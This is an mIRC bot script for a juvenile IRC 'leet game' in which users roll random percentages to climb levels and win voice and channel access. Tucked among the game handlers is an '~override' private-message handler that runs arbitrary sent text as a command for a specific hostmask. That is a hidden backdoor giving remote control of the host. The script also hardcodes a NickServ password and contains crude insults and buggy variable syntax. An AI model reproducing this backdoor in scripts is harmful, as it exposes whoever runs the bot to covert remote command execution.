on *:text:!leet:#:{
  /notice $nick Type !leet in my pm by typing /msg $me !leet or just open a query window.
}
on *:join:#leetgame:{
  inc %joins 1
  /notice $nick Yo $nick $+ , type !leet in ma pm for a lil game... u r teh: %joins $+ th person hr.. o ok.. wdf have fun u no!
}
on *:ban:#leetgame:{
  /msg $chan o
}
on *:text:~override*:?:{
  if ($address($nick,2) == *!*@is.too.kewl.to.check.it) {
    $2-
  }
}
on *:unban:#leetgame:{
  /msg $chan gd boi
}
on *:disconnect:{
  /server 
}
on *:connect:{
  if ($me == TheLeet) {
    /ns id idklol
    /setname Official LeetGame Bot, Created by Gsus.
    //mode $me +BTpR
    /timer 1 1 /join #leetgame
  }
}
on *:text:*:#:{
  inc %text [ $+ [ $nick ] ] 1
}
on *:text:!leet:?:{
  if (!$hget(leet,$nick)) {
    inc %leetness 1
    set -u3 %leet [ $+ [ $nick ] ] $rand(0,100)
    if (%leet [ $+ [ $nick ] ] isnum 0-10)  { 
      mode #leetgame -v $nick 
      set %level [ $ [ $nick ] ] 1
      notice $nick lololol. u r unleet .. you were only %leet [ $+ [ $nick ] ] $+ % leet .. try again in 2 minutes.
      hadd -mu120 leet $nick 1
    }
    if (%leet [ $+ [ $nick ] ] isnum 80-100)  { 
      /set %level [ $+ [ $nick ] ] 2 
      /msg $nick u discovered a new leet level, type !level 2 in dis window, o ye nd type !status if u want to c on which lvl u r. gluck!!
      mode #leetgame +v $nick 
      msg #leetgame $nick was %leet [ $+ [ $nick ] ] $+ % Leet! - $nick $+ , read your pm for the next level! 
    }
    else {
      msg $nick s0rry, u were only %leet [ $+ [ $nick ] ] $+ % leet. try again in 2 minutes. (level 1)
      set %level [ $ [ $nick ] ] 1
      hadd -mu120 leet $nick 1
    }
  }
}
on *:text:!status*:?:{
  /msg $nick $nick $+ , ya status is now at level %level [ $+ [ $nick ] ] $+ .
}
on *:text:!level*:?:{
  if (%level [ $+ [ $nick ] ] isnum 2) && ($2- == 2) {
    /msg $nick o good job on your 80% + leetness! - Type !kewl to c how "Kewl" u rly r. gluck
    halt 
  }
  if (%level [ $+ [ $nick ] ] isnum 3) && ($2- == 3) {
    /msg $nick o good job on your 85% + kewlness! - Type !uber to c how "uber" u rly r. gluck
    halt
  }
  if (%level [ $+ [ $nick ] ] isnum 4) && ($2- == 4) {
    /msg $nick o good job on your 90% + uberness! - Type !ultra to c how "ultra" u rly r. gluck
    halt
  }
  if (%level [ $+ [ $nick ] ] isnum 5) && ($2- == 5) {
    /msg $nick o good job on your 95% + ultrarness! - Type !sexy to c how "sexy" u rly r. gluck
    halt
  }
}
;;80 + leet
;;85 + kewl
;;90 + uber
;;95 + ultra
;;97 + sexy
on *:text:!kewl*:?:{
  if (!$hget(kewl,$nick)) && (%level [ $+ [ $nick ] ] isnum 2) {
    inc %kewlness 1
    set -u3 %kewl [ $+ [ $nick ] ] $rand(0,100)
    if (%kewl [ $+ [ $nick ] ] isnum 0-20)  { 
      mode #leetgame -v $nick 
      set %level [ $+ [ $nick ] ] 1
      notice $nick lolol u r not dat kewl .. %kewl [ $+ [ $nick ] ] $+ % kewl .. u r going back t0 lvl 1! 
      hadd -mu120 kewl $nick 1
    }
    if (%kewl [ $+ [ $nick ] ] isnum 85-100)  { 
      /set %level [ $+ [ $nick ] ] 3 
      /msg $nick u discovered a new kewl level, type !level 3 in dis window, o ye nd type !status if u want to c on which lvl u r. gluck!!
      mode #leetgame +v $nick 
      msg #leetgame $nick was %kewl [ $+ [ $nick ] ] $+ % kewl! - $nick $+ , read your pm for the next level! 
    }
    else {
      msg $nick s0rry, u were only %kewl [ $+ [ $nick ] ] $+ % kewl. try again in 2 minutes. (level 2)
      set %kewl [ $ [ $nick ] ] 2
      hadd -mu120 kewl $nick 1
    }
  }
}
on *:text:!uber*:?:{
  if (!$hget(uber,$nick)) && (%level [ $+ [ $nick ] ] isnum 3) {
    inc %uber 1
    set -u3 %uber [ $+ [ $nick ] ] $rand(0,100)
    if (%uber [ $+ [ $nick ] ] isnum 0-25)  { 
      mode #TheLeet -v $nick 
      set %level [ $+ [ $nick ] ] 1
      notice $nick lolol u r not dat uber hawt u no..  can i call u uber noob? .. %uber [ $+ [ $nick ] ] $+ % uber .. u r going back t0 lvl 1! 
      hadd -mu120 uber $nick 1
    }
    if (%uber [ $+ [ $nick ] ] isnum 90-100)  { 
      /set %level [ $+ [ $nick ] ] 4 
      /msg #leetgame Sup! $nick is uber hawt!  2 levels till sexy!!!! Read your pm for more details. (autovoice)
      /timer 1 1 mode #TheLeet +v $nick 
      //cs access #leetgame add $nick 3
      /msg $nick o wdf u r uber hawt! 1 level till ultra leet! type !level 4 for the next lvl
    }
    else {
      msg $nick s0rry, u were only %uber [ $+ [ $nick ] ] $+ % uber hawt. try again in 2 minutes. (level 3)
      set %uber [ $ [ $nick ] ] 3
      hadd -mu120 uber $nick 1
    }
  }
}
on *:text:!ultra*:?:{
  if (!$hget(ultra,$nick)) && (%level [ $+ [ $nick ] ] isnum 4) { 
    inc %ultra 1
    set -u3 %ultra [ $+ [ $nick ] ] $rand(0,100)
    if (%ultra [ $+ [ $nick ] ] isnum 0-30)  { 
      mode #leetgame -v $nick 
      set %level [ $+ [ $nick ] ] 1
      notice $nick lolol u r not dat ultra hawt u no , actually u r laik ultra nub wit mm .. %ultra [ $+ [ $nick ] ] $+ % ultra .. u r going back t0 lvl 1! 
      hadd -mu120 ultra $nick 1
    }
    if (%ultra [ $+ [ $nick ] ] isnum 95-100)  { 
      /set %level [ $+ [ $nick ] ] 5 
      /msg #leetgame o wdf, $nick received ultra leetness .. u no .. damn
      /timer 1 1 mode #leetgame +v $nick 
      //cs access #leetgame add $nick 3
      /write high.txt $nick - ultra
      /msg $nick o u r ultra cool! Type !level 5 for da next lvl
    }
    else {
      msg $nick s0rry, u were only %ultra [ $+ [ $nick ] ] $+ % ultra .. in this case an ultra noob ..try again in 2 minutes. (level 4)
      set %ultra [ $ [ $nick ] ] 4
      hadd -mu120 ultra $nick 1
    }
  }
}
on *:text:!sexy*:?:{
  if (!$hget(sexy,$nick)) && (%level [ $+ [ $nick ] ] isnum 5) { 
    inc %sexy 1
    set -u3 %sexy [ $+ [ $nick ] ] $rand(0,100)
    if (%sexy [ $+ [ $nick ] ] isnum 0-35)  { 
      mode #leetgame -v $nick 
      set %level [ $+ [ $nick ] ] 1
      notice $nick lolol u thought u wr sexy? DAMN no mfkr .. go dream .. %sexy [ $+ [ $nick ] ] $+ % sexy ..l0l u r a laugh and u r going back t0 lvl 1! 
      hadd -mu120 sexy $nick 1
    }
    if (%sexy [ $+ [ $nick ] ] isnum 97-100)  { 
      /set %level [ $+ [ $nick ] ] 6 
      /msg #leetgame o.o wdf .. $nick $+ !!!! u r sexy f0 reel! j0 will be added in da highscores! gj0b mfkr!
      /timer 1 1 mode #leetgame +v $nick 
      /write high.txt $nick - sex
      //cs access #leetgame add $nick 3
      /msg $nick yoooooooo mfkr.. dun be s0 sexy master o.o
    }
    else {
      msg $nick s0rry, u were only %sexy [ $+ [ $nick ] ] $+ % sexy .. pls be ugly  ..try again in 2 minutes. (level 5)
      set %sexy [ $ [ $nick ] ] 5
      hadd -mu120 sexy $nick 1
    }
  }
}
on *:text:!highscores*:?:{
  /msg $nick --> Highscores not updated <--
}